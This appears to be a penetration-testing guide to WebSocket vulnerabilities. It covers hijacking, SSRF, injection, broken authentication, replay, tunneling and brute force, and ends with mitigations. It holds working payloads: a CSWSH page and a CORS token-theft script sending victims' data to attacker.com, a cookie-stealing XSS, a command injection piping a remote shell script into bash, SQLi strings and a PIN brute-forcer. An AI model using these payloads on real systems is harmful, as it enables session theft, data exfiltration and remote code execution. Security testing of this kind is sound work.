1. Handshake Interception with Burp Suite

The WebSocket connection begins with an HTTP Upgrade handshake. This handshake is a regular HTTP request that Burp intercepts and can manipulate before the protocol switches. Headers added here persist for the entire WebSocket session.

The Upgrade Handshake

# Client sends HTTP Upgrade request:
GET /ws/chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: chat, superchat
Origin: https://target.com
Cookie: session=masaaki_session_token

# Server accepts:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: chat

Burp Suite WebSocket Interception

  1. Enable WebSocket interception: Proxy → Options → WebSockets → check "Intercept WebSocket messages"
  2. Intercept the initial HTTP Upgrade request to modify headers (inject Origin, add custom headers)
  3. Use the WebSockets history tab (Proxy → WebSockets history) to review all frames
  4. Right-click any message in WebSockets history → Send to Repeater to replay/modify individual frames
  5. In Repeater, use the WebSocket tab — send modified messages and view server responses in real time

Key Interception Points

# Modify Origin header during handshake — test for CSWSH:
Origin: https://attacker.com

# Inject X-Forwarded-For during handshake — IP-based bypass:
X-Forwarded-For: 127.0.0.1

# Downgrade to WS from WSS:
ws://target.com/ws  (instead of wss://)

2. Cross-Site WebSocket Hijacking (CSWSH)

CSWSH is CSRF applied to WebSocket connections. The WebSocket protocol does not enforce Same-Origin Policy on the Origin header — the server must validate it explicitly. If the server does not check the Origin, any page can initiate a WebSocket connection using the victim's browser cookies, then read all messages sent by the server.

Key difference from CSRF: CSRF can forge requests but cannot read responses (same-origin policy blocks it). With CSWSH, the attacker's page receives all WebSocket server responses — making it possible to exfiltrate authenticated data, not just trigger state changes.

Identifying Vulnerable Endpoints

# During handshake — change Origin to attacker domain, check if server accepts:
GET /ws/api HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==
Sec-WebSocket-Version: 13
Origin: https://attacker.com    <-- changed
Cookie: session=masaaki_session_token

# If response is still 101 Switching Protocols → CSWSH possible
# Server does not validate Origin against an allowlist
Technique 01 CSWSH — Full PoC HTML page for account data theft

Host this on https://attacker.com/cswsh.html and send the link to the victim. Their browser initiates the WebSocket connection using their session cookie:

<!-- cswsh.html -->
<!DOCTYPE html>
<html>
<body>
<script>
  var ws = new WebSocket('wss://target.com/ws/chat');

  ws.onopen = function() {
    // Server sent initial state — request user data
    ws.send(JSON.stringify({type: 'get_profile'}));
    ws.send(JSON.stringify({type: 'get_chat_history', limit: 100}));
  };

  ws.onmessage = function(event) {
    // Exfiltrate every message the server sends to victim
    fetch('https://attacker.com/collect', {
      method: 'POST',
      body: JSON.stringify({
        data: event.data,
        timestamp: Date.now()
      }),
      headers: {'Content-Type': 'application/json'}
    });
  };

  ws.onerror = function(err) {
    fetch('https://attacker.com/error?msg=' + encodeURIComponent(err.message));
  };
</script>
<p>Loading...</p>
</body>
</html>

The browser sends the victim's session cookie with the WebSocket Upgrade request (cookies are sent with WebSocket connections just like regular HTTP). The server authenticates the victim, and every response goes to the attacker's onmessage handler.

CSWSH When Auth Token Is in First Message

// Some apps authenticate via the first WebSocket message after connect
// rather than via cookie — this is still CSWSH-vulnerable if the token
// can be obtained by the attacker's page (e.g., from localStorage)
ws.onopen = function() {
  var token = localStorage.getItem('authToken');  // Same-origin read
  ws.send(JSON.stringify({type: 'auth', token: token}));
};

3. WebSocket SSRF

If a WebSocket endpoint makes server-side requests based on messages it receives (e.g., a webhook notification service, a data aggregator, or a proxy WebSocket), those messages can be used to trigger SSRF. The attack is identical to HTTP SSRF but the vector is a WebSocket frame.

# Connect to WS endpoint and send SSRF payload as message
# (Burp Repeater WebSocket tab)

→ Client sends:
{
  "action": "fetch_url",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

← Server responds:
{
  "result": "prod-ec2-role"
}

# Follow up:
{
  "action": "fetch_url",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-ec2-role"
}

← Server:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "..."
}
Detection: Look for WebSocket messages containing URL parameters, hostnames, or endpoint identifiers. Any message that could cause the server to contact an external service is a SSRF candidate.

4. Message Injection — SQLi, XSS, Command Injection

WebSocket messages are not HTTP — there are no built-in sanitization conventions, and developers sometimes forget that WebSocket message contents are user input just as much as HTTP parameters. Test every field in every message format.

SQL Injection via WebSocket Message

# Intercept normal message in Burp, modify and resend

Original message:
{"type": "search", "query": "masaaki"}

Injected:
{"type": "search", "query": "masaaki' OR '1'='1"}
{"type": "search", "query": "' UNION SELECT username,password,3 FROM users--"}

# Time-based blind — if no data returned:
{"type": "search", "query": "'; IF(1=1) WAITFOR DELAY '0:0:5'--"}

XSS via WebSocket — Stored via WS, Reflected to Other Users

# Chat application — XSS payload sent as chat message
# Stored server-side, reflected to every connected user

{
  "type": "message",
  "content": "<img src=x onerror='fetch(\"https://attacker.com/\"+document.cookie)'>",
  "room": "general"
}

# If client-side renders message HTML without sanitization:
# Every user currently in the room receives this message
# and executes the XSS in their browser

Command Injection via WebSocket

# If WS message triggers a server-side process:
{
  "action": "ping",
  "host": "127.0.0.1; curl https://attacker.com/shell.sh | bash"
}

{
  "action": "convert_image",
  "filename": "test.png; id > /tmp/pwned"
}

5. Broken WebSocket Authentication

WebSocket authentication is frequently implemented incorrectly. Two common patterns both have critical weaknesses.

Pattern A: Token in First Message (Replay Attack)

# Vulnerable pattern: auth token sent as first message after connect

Legitimate flow:
1. Client connects: GET /ws  (no credentials in Upgrade request)
2. Server: 101 Switching Protocols
3. Client: {"type":"auth","token":"eyJhbGci...masaaki_token"}
4. Server: {"type":"auth_success","userId":"masaaki","role":"admin"}

Attack: Token interception + replay
1. Intercept Masaaki's first auth message in Burp WS History
2. Open new WS connection from Burp Repeater (no cookie needed)
3. Send captured token as first message:
   {"type":"auth","token":"eyJhbGci...masaaki_token"}
4. Server authenticates as masaaki — full session hijack

# Token has no expiry, no binding to connection, no one-time use

Pattern B: No Re-Authentication After Token Expiry

# WS connection authenticated at connect time via cookie
# If session cookie expires / is invalidated, WS connection stays open
# Server never re-checks auth on subsequent messages

Attack: Log in as masaaki, open WS connection, log out (session invalidated),
observe that WS connection remains fully functional — all privileged
messages still succeed on the "authenticated" WS connection.

Pattern C: Auth Bypass via Parameter Pollution

# WS handshake carries token in URL query parameter
GET /ws?token=masaaki_token HTTP/1.1
Upgrade: websocket

# Attack — duplicate parameter, server reads second one (bypass):
GET /ws?token=invalid&token=masaaki_token HTTP/1.1
GET /ws?token[]=invalid&token[]=masaaki_token HTTP/1.1

6. WS Token Hijacking via CORS Misconfiguration

If the application stores the WebSocket authentication token in a location accessible via a cross-origin request — such as a CORS-misconfigured API endpoint that returns the token — an attacker can steal the token and use it to authenticate a WebSocket connection they control.

Technique 02 WS token theft via CORS-misconfigured token endpoint
// Vulnerable endpoint: Access-Control-Allow-Origin: * (or reflects attacker origin)
GET /api/ws-token HTTP/1.1
Host: target.com
Cookie: session=masaaki_session_token

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

{"wsToken": "eyJhbGci...ws_specific_token"}
// Attacker's page on attacker.com:
fetch('https://target.com/api/ws-token', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
    var token = data.wsToken;
    // Now open a WS connection with victim's token
    var ws = new WebSocket('wss://target.com/ws?token=' + token);
    ws.onmessage = function(e) {
      fetch('https://attacker.com/collect', {method:'POST', body:e.data});
    };
  });

7. Message Replay and Manipulation via Burp

Once you have a live WebSocket connection in Burp Repeater, you can replay any message and modify every field. This enables testing for authorization issues (can a regular user send admin-level messages?), business logic flaws, and injection vulnerabilities.

# Standard message — fetch your own balance
→ {"type":"get_balance","userId":"masaaki_id"}
← {"balance": 100.00, "currency": "USD"}

# Privilege escalation — access another user's data
→ {"type":"get_balance","userId":"stephane_id"}
← {"balance": 50000.00, "currency": "USD"}   ← IDOR via WS

# Admin action as regular user
→ {"type":"admin_delete_user","targetUserId":"masaaki_id"}
← {"error": "Permission denied"}   or   {"success": true}   ← test both

# Replay a captured fund transfer message to double-spend:
→ {"type":"transfer","to":"masaaki_wallet","amount":1000,"idempotencyKey":"static123"}
# If idempotency key is static or predictable, replay = duplicate transaction

Burp Workflow for Message Manipulation

  1. Capture WebSocket handshake and messages in Proxy → WebSockets History
  2. Right-click an interesting message → Send to Repeater
  3. In Repeater, switch the connection to reuse existing WS session or start new one
  4. Modify the message JSON/payload and click Send
  5. Observe the response in the right panel — compare with legitimate response
  6. Use Burp Intruder with WS message as payload position for fuzzing

8. WS to HTTP Tunneling

Some applications use WebSockets as a transport layer for HTTP-like requests, multiplexing multiple logical HTTP calls over a single WS connection. This architecture can allow attackers to tunnel HTTP requests through the WS connection, bypassing WAFs or firewall rules that only inspect HTTP traffic.

# Application multiplexes HTTP over WS:
→ {
    "id": "req_001",
    "method": "GET",
    "path": "/api/user/profile",
    "headers": {"Accept": "application/json"}
  }
← {
    "id": "req_001",
    "status": 200,
    "body": {"user": "masaaki"}
  }

# Attack: access paths normally blocked by WAF / load balancer
# WAF inspects HTTP but not WS frames
→ {
    "id": "req_002",
    "method": "GET",
    "path": "/admin/users",
    "headers": {"X-Admin-Override": "true"}
  }

# Path traversal via tunneled request:
→ {"method": "GET", "path": "/../../../etc/passwd"}

# SSRF via tunneled request:
→ {"method": "GET", "path": "http://169.254.169.254/latest/meta-data/"}

9. Lack of Rate Limiting — Brute Force via WebSocket

HTTP endpoints are commonly rate-limited at the load balancer level. WebSocket connections bypass this: once authenticated, all messages share a single persistent connection, and per-message rate limiting is often not implemented. This enables brute-force attacks at extremely high throughput.

Technique 03 WebSocket brute-force — PIN or password via single WS connection
// JavaScript PoC — send 10,000 PIN attempts over one WS connection
var ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
  for (var pin = 1000; pin <= 9999; pin++) {
    ws.send(JSON.stringify({
      type: 'verify_pin',
      pin: pin.toString(),
      userId: 'stephane_id'
    }));
  }
};

ws.onmessage = function(event) {
  var resp = JSON.parse(event.data);
  if (resp.type === 'pin_valid' && resp.success) {
    console.log('Valid PIN found:', resp.pin);
    fetch('https://attacker.com/found?pin=' + resp.pin);
  }
};

At a typical WS throughput of 1,000–10,000 messages/second, a 4-digit PIN (10,000 combinations) can be exhausted in under 10 seconds — far faster than HTTP with per-request rate limiting and connection overhead.

Testing Rate Limiting in Burp Intruder

# 1. Capture WS auth message in Proxy
# 2. Send to Intruder (Burp Pro supports WS Intruder)
# 3. Mark the PIN/password field as payload position
# 4. Set payload list to numeric 0000–9999
# 5. Run — watch for different response length/content = success

# Manual timing test — send 50 identical messages rapidly:
# If all succeed without delay, no rate limiting on WS messages

10. WebSockets and SameSite Cookies

SameSite cookie attributes affect whether cookies are sent with cross-site requests — but the rules for WebSocket Upgrade requests differ from regular HTTP requests in important ways.

SameSite=Lax and WebSockets

# SameSite=Lax: cookies sent with top-level navigation GET requests
# WebSocket Upgrade is initiated via JavaScript (not a top-level nav)
# → Cookies with SameSite=Lax ARE sent with WS Upgrades initiated by JS
#   on the same site, but NOT from cross-site pages (blocks CSWSH!)

# However: if the site has no SameSite set, default is Lax in modern browsers
# But legacy cookies (pre-Lax default) may still be Lax-by-default

# Test: initiate WS from cross-origin page
# If handshake succeeds WITH cookie → SameSite not set or =None
# If handshake succeeds WITHOUT cookie → SameSite=Lax blocks cookie,
#   but server may still accept (if auth is not cookie-based)

SameSite=None — Full CSWSH Risk

# Cookies marked SameSite=None;Secure are sent with ALL cross-site requests
# including WebSocket Upgrades initiated from attacker.com

Set-Cookie: session=masaaki_token; SameSite=None; Secure; Path=/

# This fully enables CSWSH — attacker's page opens WS with victim's cookie
# Common in applications that use cookies for third-party embedding

Cookie Scope in WebSocket Upgrade Requests

# The WS Upgrade request is an HTTP GET with Upgrade header
# Browser cookie rules (HttpOnly, Secure, SameSite, Path, Domain) all apply
# to this initial HTTP request exactly as they would to a regular HTTP GET

# Once connection upgrades, cookies are NOT re-sent per-frame
# Authentication state is established at handshake time only

# Implication: SameSite=Strict DOES prevent CSWSH
# (cross-site page's WS Upgrade has no cookies → server rejects)
Set-Cookie: session=masaaki_token; SameSite=Strict; HttpOnly; Secure

11. Prevention & Mitigations

Validate the Origin header

At the WebSocket Upgrade handler, validate that the Origin header matches an allowlist of trusted origins. Reject connections from unknown origins with HTTP 403. This is the primary CSWSH mitigation and is simple to implement.

SameSite=Strict session cookies

Set SameSite=Strict on session cookies. This prevents cookies from being sent with WebSocket Upgrade requests initiated from cross-site pages, defeating CSWSH even if Origin validation is missed.

CSRF token in handshake URL

For additional defense, embed a per-session CSRF token in the WebSocket upgrade URL as a query parameter. Validate it server-side. Attackers cannot read this token from a cross-origin page (cross-site reads are blocked by same-origin policy).

Re-authenticate on sensitive operations

Do not rely solely on handshake-time authentication for the full lifetime of a WebSocket connection. For sensitive operations (transfers, admin actions), re-validate the session cookie/token with each message or at regular intervals.

Per-message rate limiting

Implement rate limiting at the WebSocket message handler level, not just the HTTP layer. Track per-connection and per-user message rates. Apply exponential backoff or connection termination on abuse patterns. Per-connection limits alone are insufficient — implement per-user limits across connections.

Input validation on all WS message fields

Treat every WebSocket message field as untrusted user input. Apply the same SQLi, XSS, command injection, and path traversal mitigations to WS message parsing as to HTTP parameter parsing. Use parameterized queries, output encoding, and input allowlists.

Testing checklist: Intercept the WebSocket handshake and change Origin to https://attacker.com — if accepted, CSWSH is possible. Replay authentication messages to test token binding. Send injected payloads (SQLi, XSS, command injection) in every message field. Test if messages succeed after session invalidation. Check if the WS upgrade cookie has SameSite=None. Test per-message rate limiting by sending 100 rapid identical messages.